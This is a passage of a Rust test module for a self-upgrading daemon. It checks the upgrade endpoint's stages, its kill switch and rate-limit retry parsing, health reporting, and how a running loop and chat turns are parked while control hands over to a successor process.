21628 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
21629 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
21630
21631 assert!(
21632 !update_recheck_due(&checker, Some(&progress)),
21633 "a recheck must not run while an upgrade this deck started is \
21634 still moving"
21635 );
21636 }
21637
21638 #[tokio::test]
21639 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
21640 unsafe {
21652 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21653 }
21654 let fx = Fixture::start().await;
21655 let res = fx.post("/api/upgrade", None).await;
21656 unsafe {
21657 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21658 }
21659 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21660 let body = res.json();
21661 assert!(body["to"].is_null(), "there was no release to move to");
21662 assert!(body["parked"].is_null(), "and nothing was parked");
21663 assert!(
21664 body["detail"]
21665 .as_str()
21666 .unwrap()
21667 .contains("disabled by MAGI_NO_AUTOUPDATE"),
21668 "{body:?}"
21669 );
21670 }
21671
21672 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
21673 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
21674 p.stage = stage;
21675 p
21676 }
21677
21678 #[test]
21679 fn busy_stages_match_the_ui_set() {
21680 use crate::updater::Stage;
21681 assert!(APP_JS.contains(
21682 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
21683 ));
21684 for s in [
21685 Stage::Downloading,
21686 Stage::Replaced,
21687 Stage::Parking,
21688 Stage::Restarting,
21689 ] {
21690 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
21691 }
21692 for s in [Stage::Done, Stage::Failed] {
21693 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
21694 }
21695 assert!(upgrade_in_motion(None).is_none());
21696 }
21697
21698 #[tokio::test]
21699 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
21700 use crate::updater::Stage;
21701 for stage in [
21702 Stage::Downloading,
21703 Stage::Replaced,
21704 Stage::Parking,
21705 Stage::Restarting,
21706 ] {
21707 let fx = Fixture::start().await;
21708 let seeded = seeded_progress(stage);
21709 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
21710 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21711 .expect("read");
21712
21713 let res = fx.post("/api/upgrade", None).await;
21714 assert_eq!(res.status, 409, "{stage:?}");
21715 let err = res.json()["error"].as_str().unwrap().to_owned();
21716 assert!(err.contains("already in progress"), "{err}");
21717 assert!(err.contains(stage.as_str()), "{err}");
21718
21719 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
21720 .expect("read");
21721 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
21722 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
21723 .unwrap_or_default();
21724 assert!(!log.contains("signalling HANDOVER"), "{log}");
21725 }
21726 }
21727
21728 #[test]
21729 fn upgrade_retry_timing_only_parses_known_diagnostics() {
21730 assert_eq!(
21731 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
21732 Some(3723)
21733 );
21734 assert_eq!(
21735 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
21736 Some(60)
21737 );
21738 assert_eq!(
21739 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
21740 Some(0)
21741 );
21742 for message in [
21743 "permission denied",
21744 "GitHub API rate limit exceeded",
21745 "GitHub rate limit (resets in unknown)",
21746 "GitHub rate limit (resets in 18446744073709551615d)",
21747 ] {
21748 assert_eq!(upgrade_retry_after(message), None, "{message}");
21749 }
21750 }
21751
21752 #[tokio::test]
21753 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
21754 let home = TempDir::new().unwrap();
21755 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
21756 ui.start_loop(None).unwrap();
21757 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
21758 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
21759 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
21760 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
21761 let response = finish_upgrade_request(&ui, result);
21762 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
21763 assert_eq!(response.headers()["retry-after"], "120");
21764 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
21765 .await
21766 .unwrap();
21767 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
21768 assert!(body["error"].as_str().unwrap().contains(reason));
21769 assert_eq!(body["retry_after_secs"], 120);
21770 assert!(body["retry_at"].as_u64().is_some());
21771 for _ in 0..2 {
21772 let view = health(State(ui.clone())).await.unwrap().0;
21773 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
21774 assert_eq!(failure, body);
21775 }
21776 assert_eq!(
21777 std::fs::read(updater::progress_path(home.path())).unwrap(),
21778 before
21779 );
21780 assert!(!ui.lock_loop().resume_after_handover);
21781 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
21782 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
21783 let gate = ui.upgrade_gate.lock().await;
21785 assert_eq!(
21786 upgrade_post(State(ui.clone())).await.status(),
21787 StatusCode::CONFLICT
21788 );
21789 drop(gate);
21790 assert!(
21791 health(State(ui.clone()))
21792 .await
21793 .unwrap()
21794 .0
21795 .upgrade_request_error
21796 .is_some()
21797 );
21798 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
21799 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
21800 assert!(
21801 health(State(ui.clone()))
21802 .await
21803 .unwrap()
21804 .0
21805 .upgrade_request_error
21806 .is_none()
21807 );
21808 let live = ui.lock_loop().live.take().unwrap();
21809 live.stop.stop();
21810 live.handle.await.unwrap();
21811 }
21812
21813 #[tokio::test]
21814 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
21815 use crate::updater::Stage;
21816 let repo = TempDir::new().expect("repo dir");
21817 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21818 .expect("write magi.toml");
21819 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21820 for stage in [Stage::Done, Stage::Failed] {
21821 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
21822 let res = fx.post("/api/upgrade", None).await;
21823 assert_eq!(res.status, 200, "{stage:?}");
21824 }
21825 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
21827 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
21828 }
21829
21830 #[tokio::test]
21831 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
21832 let repo = TempDir::new().expect("repo dir");
21848 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21849 .expect("write magi.toml");
21850 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21851
21852 let res = fx.post("/api/upgrade", None).await;
21858 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21859 let body = res.json();
21860 assert!(body["to"].is_null(), "there was no release to move to");
21861 assert!(body["parked"].is_null(), "and nothing was parked");
21862 assert!(
21863 body["detail"]
21864 .as_str()
21865 .unwrap()
21866 .contains("nothing restarted"),
21867 "{body:?}"
21868 );
21869 }
21870
21871 #[tokio::test]
21872 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
21873 let repo = TempDir::new().expect("repo dir");
21878 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
21879 .expect("write magi.toml");
21880 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
21881
21882 let health = fx.get("/api/health").await.json();
21883 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
21884 assert_eq!(
21885 health["update"]["available"], false,
21886 "checking is off, which reads as \"unknown\", not \"none\""
21887 );
21888 assert!(health["update"]["to"].is_null());
21889 assert!(
21890 health["upgrade"].is_null(),
21891 "nothing has ever asked this deck to upgrade"
21892 );
21893 }
21894
21895 #[tokio::test]
21896 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
21897 let fx = Fixture::start().await;
21898 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
21899
21900 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21901 progress.parked_run = Some("20260905-000000-cd51".to_owned());
21902 progress.advance(crate::updater::Stage::Parking);
21903 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21904
21905 let health = fx.get("/api/health").await.json();
21906 assert_eq!(health["upgrade"]["stage"], "parking");
21907 assert_eq!(health["upgrade"]["from"], "0.5.1");
21908 assert_eq!(health["upgrade"]["to"], "0.5.2");
21909 let waiting_on = health["upgrade"]["waiting_on"]
21910 .as_str()
21911 .expect("waiting_on is set while parking a known run");
21912 assert!(waiting_on.contains("cd51"), "{waiting_on}");
21913 assert!(waiting_on.contains("implementing"), "{waiting_on}");
21914 }
21915
21916 #[tokio::test]
21917 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
21918 let fx = Fixture::start().await;
21919 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21920 progress.advance(crate::updater::Stage::Done);
21921 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21922
21923 let health = fx.get("/api/health").await.json();
21924 assert_eq!(health["upgrade"]["stage"], "done");
21925 assert!(
21926 health["upgrade"]["waiting_on"].is_null(),
21927 "nothing to wait on once it is done"
21928 );
21929 }
21930
21931 #[tokio::test]
21932 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
21933 let home = TempDir::new().expect("temp home");
21934 let runs = home.path().join("runs");
21935 std::fs::create_dir_all(&runs).expect("runs dir");
21936 let ui = Ui::new(
21937 Queue::at(home.path().join("queue")),
21938 Questions::at(home.path().join("questions")),
21939 Talks::at(home.path().join("talks")),
21940 runs,
21941 home.path().to_path_buf(),
21942 PathBuf::from("/repo/magi"),
21943 )
21944 .with_launch(launch_idle);
21945 let looping = ui.looping();
21946 let turns = ui.turns();
21947 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21948 .await
21949 .expect("bind loopback");
21950 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21951
21952 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21953 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21954
21955 hand_over(
21956 home.path(),
21957 &looping,
21958 &turns,
21959 &|_: &[String]| Duration::from_secs(5),
21960 served,
21961 |_| Ok(1),
21962 )
21963 .await
21964 .expect("hand over");
21965
21966 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
21967 assert_eq!(
21968 after.stage,
21969 crate::updater::Stage::Restarting,
21970 "hand_over owns the record through parking and up to restarting; \
21971 the successor is what finishes it"
21972 );
21973 }
21974
21975 #[tokio::test]
21978 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
21979 for fail in [false, true] {
21980 let home = TempDir::new().expect("temp home");
21981 let ui = idle_ui(&home);
21982 let looping = ui.looping();
21983 let turns = ui.turns();
21984 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21985 .await
21986 .expect("bind loopback");
21987 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21988 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21989 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21990
21991 let calls = std::sync::atomic::AtomicUsize::new(0);
21992 let outcome = hand_over(
21993 home.path(),
21994 &looping,
21995 &turns,
21996 &|_: &[String]| Duration::from_secs(5),
21997 served,
21998 |_| {
21999 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22000 if fail {
22001 anyhow::bail!("no exec")
22002 } else {
22003 Ok(4242)
22004 }
22005 },
22006 )
22007 .await;
22008 assert_eq!(outcome.is_err(), fail);
22009 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22010
22011 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
22012 .expect("upgrade.log is written under the home");
22013 for step in [
22014 "entered",
22015 "finish_loop",
22016 "listener released",
22017 "starting the successor",
22018 ] {
22019 assert!(log.contains(step), "missing `{step}` in:\n{log}");
22020 }
22021 assert!(
22022 log.contains(if fail { "did not start" } else { "pid 4242" }),
22023 "{log}"
22024 );
22025 }
22026 }
22027
22028 #[tokio::test]
22031 async fn the_handover_signal_wakes_one_waiter_once() {
22032 let signal = Notify::new();
22033 signal.notify_one();
22035 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22036 .await
22037 .expect("an early signal is still seen");
22038 assert!(
22040 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22041 .await
22042 .is_err(),
22043 "a consumed signal must not wake a second time"
22044 );
22045 let signal = std::sync::Arc::new(signal);
22047 let waiter = tokio::spawn({
22048 let signal = std::sync::Arc::clone(&signal);
22049 async move { wait_for_handover(&signal).await }
22050 });
22051 tokio::time::sleep(Duration::from_millis(20)).await;
22052 assert!(!waiter.is_finished(), "nothing was signalled yet");
22053 signal.notify_one();
22054 tokio::time::timeout(Duration::from_secs(5), waiter)
22055 .await
22056 .expect("a late signal wakes the waiter")
22057 .expect("join");
22058 }
22059
22060 #[tokio::test]
22061 async fn health_says_how_long_a_handover_has_been_stuck() {
22062 let fx = Fixture::start().await;
22063 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22064 progress.advance(crate::updater::Stage::Replaced);
22065 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22066 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22067
22068 let health = fx.get("/api/health").await.json();
22069 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22070 assert!(stuck >= 600, "{stuck}");
22071 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22072 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22073 }
22074
22075 #[tokio::test]
22076 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22077 let home = tempfile::tempdir().expect("temp home");
22078 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22079 progress.advance(crate::updater::Stage::Parking);
22080 crate::updater::write_progress(home.path(), &progress).expect("seed");
22081 let mut again = progress.clone();
22083 again.advance(crate::updater::Stage::Replaced);
22084 crate::updater::write_progress(home.path(), &again).expect("replaced");
22085 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22086 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22087 let after = crate::updater::read_progress(home.path()).expect("record");
22088 assert_eq!(after.stage, crate::updater::Stage::Parking);
22089 }
22090
22091 #[tokio::test]
22092 async fn health_does_not_call_a_live_parking_wait_stuck() {
22093 let fx = Fixture::start().await;
22094 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22095 progress.parked_run = Some("20260905-000000-cd51".to_owned());
22096 progress.advance(crate::updater::Stage::Parking);
22097 let hours = Duration::from_secs(3 * 3600);
22098 progress.started_at = Timestamp::now() - hours;
22099 progress.updated_at = Timestamp::now() - hours;
22100 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22101 let _lease = crate::updater::LeaseGuard::enter(
22102 fx.home.path(),
22103 Some("20260905-000000-cd51".to_owned()),
22104 );
22105
22106 let health = fx.get("/api/health").await.json();
22107 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22108 assert!(health["upgrade"]["stuck_kind"].is_null());
22109 assert_eq!(health["upgrade"]["handover_alive"], true);
22110 let waiting_on = health["upgrade"]["waiting_on"]
22111 .as_str()
22112 .expect("waiting_on");
22113 assert!(waiting_on.contains("cd51"), "{waiting_on}");
22114 }
22115
22116 fn idle_ui(home: &TempDir) -> Ui {
22117 let runs = home.path().join("runs");
22118 std::fs::create_dir_all(&runs).expect("runs dir");
22119 Ui::new(
22120 Queue::at(home.path().join("queue")),
22121 Questions::at(home.path().join("questions")),
22122 Talks::at(home.path().join("talks")),
22123 runs,
22124 home.path().to_path_buf(),
22125 PathBuf::from("/repo/magi"),
22126 )
22127 .with_launch(launch_idle)
22128 }
22129
22130 async fn park_fixture(
22131 home: &TempDir,
22132 ) -> (
22133 Ui,
22134 Arc<Mutex<LoopState>>,
22135 Arc<Mutex<TalkTurns>>,
22136 tokio::task::JoinHandle<std::io::Result<()>>,
22137 ) {
22138 let ui = idle_ui(home);
22139 let looping = ui.looping();
22140 let turns = ui.turns();
22141 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22142 .await
22143 .expect("bind loopback");
22144 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22145 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22146 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
22147 (ui, looping, turns, served)
22148 }
22149
22150 #[tokio::test]
22154 async fn hand_over_waits_for_a_running_chat_turn() {
22155 let home = TempDir::new().expect("temp home");
22156 let (ui, looping, turns, served) = park_fixture(&home).await;
22157 let ui = Arc::new(ui);
22158 let id = "20260901-000000-chat";
22159 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22160
22161 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22162 let handover = tokio::spawn({
22163 let home = home.path().to_path_buf();
22164 let turns = Arc::clone(&turns);
22165 let calls = Arc::clone(&calls);
22166 async move {
22167 hand_over(
22168 &home,
22169 &looping,
22170 &turns,
22171 &|_: &[String]| Duration::from_secs(60),
22172 served,
22173 move |_| {
22174 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22175 Ok(1)
22176 },
22177 )
22178 .await
22179 }
22180 });
22181
22182 let waiting = async {
22183 for _ in 0..200 {
22184 if crate::updater::read_progress(home.path())
22185 .is_some_and(|p| p.parked_talks == [id.to_owned()])
22186 {
22187 return;
22188 }
22189 tokio::time::sleep(Duration::from_millis(25)).await;
22190 }
22191 panic!("the park never named the chat turn");
22192 };
22193 waiting.await;
22194 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22195
22196 let refused = ui.begin_talk_turn("20260901-000000-late").err();
22199 assert!(
22200 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22201 "a direct start says an upgrade is in progress"
22202 );
22203 assert!(
22204 ui.begin_queued_talk_turn("20260901-000000-late")
22205 .expect("queued claim")
22206 .is_none()
22207 );
22208 assert!(matches!(
22209 ui.begin_talk_turn_unless_pending("20260901-000000-late")
22210 .expect("start"),
22211 TalkTurnStart::Busy
22212 ));
22213 assert_eq!(turns.lock().unwrap().live.len(), 1);
22214
22215 let progress = crate::updater::read_progress(home.path()).expect("progress");
22217 let view = upgrade_progress_view(&ui, progress);
22218 assert!(
22219 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
22220 "{:?}",
22221 view.waiting_on
22222 );
22223
22224 assert!(!handover.is_finished());
22225 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22226 drop(turn);
22227 handover.await.expect("join").expect("hand over");
22228 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22229 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22230 }
22231
22232 #[tokio::test]
22235 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
22236 let home = TempDir::new().expect("temp home");
22237 let (ui, looping, turns, served) = park_fixture(&home).await;
22238 let ui = Arc::new(ui);
22239 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
22241 lock_or_recover(&looping).live = Some(Live {
22242 stop: daemon::Stop::new(),
22243 handle: tokio::spawn(async move {
22244 let _ = loop_ended.await;
22245 }),
22246 opts: daemon::Opts::default(),
22247 });
22248
22249 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22250 let handover = tokio::spawn({
22251 let home = home.path().to_path_buf();
22252 let turns = Arc::clone(&turns);
22253 let calls = Arc::clone(&calls);
22254 async move {
22255 hand_over(
22256 &home,
22257 &looping,
22258 &turns,
22259 &|_: &[String]| Duration::from_secs(60),
22260 served,
22261 move |_| {
22262 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22263 Ok(1)
22264 },
22265 )
22266 .await
22267 }
22268 });
22269
22270 let reached = async {
22271 for _ in 0..200 {
22272 if crate::updater::read_progress(home.path())
22273 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
22274 {
22275 return;
22276 }
22277 tokio::time::sleep(Duration::from_millis(25)).await;
22278 }
22279 panic!("the hand-over never reached parking");
22280 };
22281 reached.await;
22282
22283 assert!(!turns.lock().unwrap().parking);
22285 let turn = ui
22286 .begin_talk_turn("20260901-000000-chat")
22287 .expect("claim")
22288 .expect("a turn can start while the loop parks");
22289
22290 end_loop.send(()).expect("loop still waiting");
22292 for _ in 0..200 {
22293 if turns.lock().unwrap().parking {
22294 break;
22295 }
22296 tokio::time::sleep(Duration::from_millis(25)).await;
22297 }
22298 assert!(
22299 turns.lock().unwrap().parking,
22300 "closed once the loop is done"
22301 );
22302 let refused = ui.begin_talk_turn("20260901-000000-late").err();
22303 assert!(
22304 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
22305 "no turn starts once the loop is done"
22306 );
22307 assert!(
22308 ui.begin_queued_talk_turn("20260901-000000-late")
22309 .expect("queued claim")
22310 .is_none()
22311 );
22312 assert!(!handover.is_finished());
22313 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
22314
22315 drop(turn);
22316 handover.await.expect("join").expect("hand over");
22317 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22318 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
22319 }
22320
22321 #[tokio::test]
22324 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
22325 let home = TempDir::new().expect("temp home");
22326 let (ui, looping, turns, served) = park_fixture(&home).await;
22327 let id = "20260901-000000-stuk";
22328 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
22329
22330 let calls = std::sync::atomic::AtomicUsize::new(0);
22331 hand_over(
22332 home.path(),
22333 &looping,
22334 &turns,
22335 &|_: &[String]| Duration::from_millis(300),
22336 served,
22337 |_| {
22338 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22339 Ok(1)
22340 },
22341 )
22342 .await
22343 .expect("hand over");
22344 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
22345
22346 let progress = crate::updater::read_progress(home.path()).expect("progress");
22347 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
22348 assert!(
22349 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
22350 "{:?}",
22351 progress.detail
22352 );
22353 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
22354 assert!(
22355 log.contains("handing over anyway") && log.contains(id),
22356 "{log}"
22357 );
22358 }
22359
22360 #[tokio::test]
22363 async fn drain_loop_starts_no_turn_while_parking() {
22364 let tmp = TempDir::new().expect("tempdir");
22365 let repo = tmp.path().join("repo");
22366 std::fs::create_dir_all(&repo).expect("repo dir");
22367 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
22368 let home = TempDir::new().expect("temp home");
22369 let talks = Talks::at(home.path().join("talks"));
22370 let ui = Ui::new(
22371 Queue::at(home.path().join("queue")),
22372 Questions::at(home.path().join("questions")),
22373 talks.clone(),
22374 home.path().join("runs"),
22375 home.path().to_path_buf(),
22376 repo.clone(),
22377 )
22378 .with_worktrees_root(home.path().join("wt"));
22379 let cfg = config_for(&repo).await.expect("discover config");
22380 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
22381 let id = talk.id.clone();
22382 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
22383 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
22384 let turns = ui.turns();
22385 let parking = ParkingTurns::begin(&turns);
22386
22387 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
22388
22389 assert!(
22390 turns.lock().unwrap().live.is_empty(),
22391 "the slot is given up"
22392 );
22393 let fresh = talks.get(&id).expect("talk");
22394 assert_eq!(fresh.pending, "later", "the draft is still queued");
22395 assert!(fresh.turns.is_empty(), "no turn ran");
22396 drop(parking);
22397 }
22398
22399 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
22401 let looping = ui.looping();
22402 let turns = ui.turns();
22403 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22404 .await
22405 .expect("bind loopback");
22406 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22407 let told = std::sync::Mutex::new(None);
22408 hand_over(
22409 home.path(),
22410 &looping,
22411 &turns,
22412 &|_: &[String]| Duration::from_secs(5),
22413 served,
22414 |resume| {
22415 *told.lock().unwrap() = Some(resume);
22416 Ok(1)
22417 },
22418 )
22419 .await
22420 .expect("hand over");
22421 told.into_inner().unwrap().expect("successor was started")
22422 }
22423
22424 #[tokio::test]
22425 async fn a_running_loop_is_resumed_by_the_successor() {
22426 let home = TempDir::new().expect("temp home");
22427 let ui = idle_ui(&home);
22428 ui.start_loop(None).expect("start");
22429 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22430 for _ in 0..500 {
22432 if !ui.loop_view(None).running {
22433 break;
22434 }
22435 tokio::time::sleep(Duration::from_millis(2)).await;
22436 }
22437 assert!(handed_over(&home, ui).await, "a running loop must resume");
22438
22439 let successor = idle_ui(&home);
22440 assert!(!successor.loop_view(None).running);
22441 assert!(successor.resume_after_handover(true));
22442 assert!(successor.loop_view(None).running);
22443 successor.stop_loop(None, false).expect("stop");
22444 }
22445
22446 #[tokio::test]
22447 async fn a_second_upgrade_request_keeps_the_resume_intent() {
22448 let home = TempDir::new().expect("temp home");
22449 let ui = idle_ui(&home);
22450 ui.start_loop(None).expect("start");
22451 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22452 .expect("first park");
22453 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
22454 .expect("second park");
22455 assert!(handed_over(&home, ui).await);
22456 }
22457
22458 #[tokio::test]
22459 async fn a_stop_during_the_handover_wait_is_honoured() {
22460 let home = TempDir::new().expect("temp home");
22461 let ui = idle_ui(&home);
22462 ui.start_loop(None).expect("start");
22463 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22464 ui.stop_loop(None, false).expect("stop");
22465 assert!(!handed_over(&home, ui).await);
22466 }
22467
22468 #[tokio::test]
22469 async fn an_idle_loop_stays_stopped_across_the_handover() {
22470 let home = TempDir::new().expect("temp home");
22471 let ui = idle_ui(&home);
22472 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22473 assert!(!handed_over(&home, ui).await);
22474
22475 let successor = idle_ui(&home);
22476 assert!(!successor.resume_after_handover(false));
22477 assert!(!successor.loop_view(None).running);
22478 }
22479
22480 #[tokio::test]
22481 async fn a_loop_the_operator_stopped_is_not_resumed() {
22482 let home = TempDir::new().expect("temp home");
22483 let ui = idle_ui(&home);
22484 ui.start_loop(None).expect("start");
22485 ui.stop_loop(None, false).expect("stop");
22486 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
22487 assert!(!handed_over(&home, ui).await);
22488 }
22489
22490 #[test]
22491 fn only_an_explicit_one_requests_a_resume() {
22492 assert!(!resume_requested(None));
22493 assert!(!resume_requested(Some("0".into())));
22494 assert!(!resume_requested(Some("".into())));
22495 assert!(resume_requested(Some("1".into())));
22496 }
22497
22498 #[test]
22499 fn the_upgrade_button_arms_before_it_restarts_anything() {
22500 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
22503 assert!(APP_JS.contains("Replace the binary and restart?"));
22504 assert!(APP_JS.contains("function confirmed("));
22505 assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
22510 assert!(
22514 APP_JS.contains("Parking, then restarting"),
22515 "the button says what it is waiting for"
22516 );
22517 assert!(APP_JS.contains("if (!out.to)"));
22520 }
22521
22522 #[test]
22523 fn stopping_the_loop_arms_but_starting_does_not() {
22524 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
22527 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
22528 assert!(APP_JS.contains("confirmed(button, question)"));
22529 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
22532 assert!(APP_JS.contains("const label = btn.textContent;"));
22533 assert!(!APP_JS.contains("Neither direction is guarded"));
22534 }
22535
22536 #[test]
22537 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
22538 assert!(
22539 APP_JS.contains("state.health.version"),
22540 "the operator wants to know what is running even with nothing newer"
22541 );
22542 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
22543 }
22544
22545 #[test]
22546 fn the_upgrade_button_names_its_destination() {
22547 assert!(
22548 APP_JS.contains("`Update to ${update.to}`"),
22549 "pressing the button should not be a surprise about what it moves to"
22550 );
22551 }
22552
22553 #[test]
22554 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
22555 for stage in ["downloading", "replaced", "parking", "restarting"] {
22556 assert!(
22557 APP_JS.contains(&format!("\"{stage}\"")),
22558 "the phone must be able to tell {stage} apart from the others"
22559 );
22560 }
22561 assert!(APP_JS.contains(".waiting_on"));
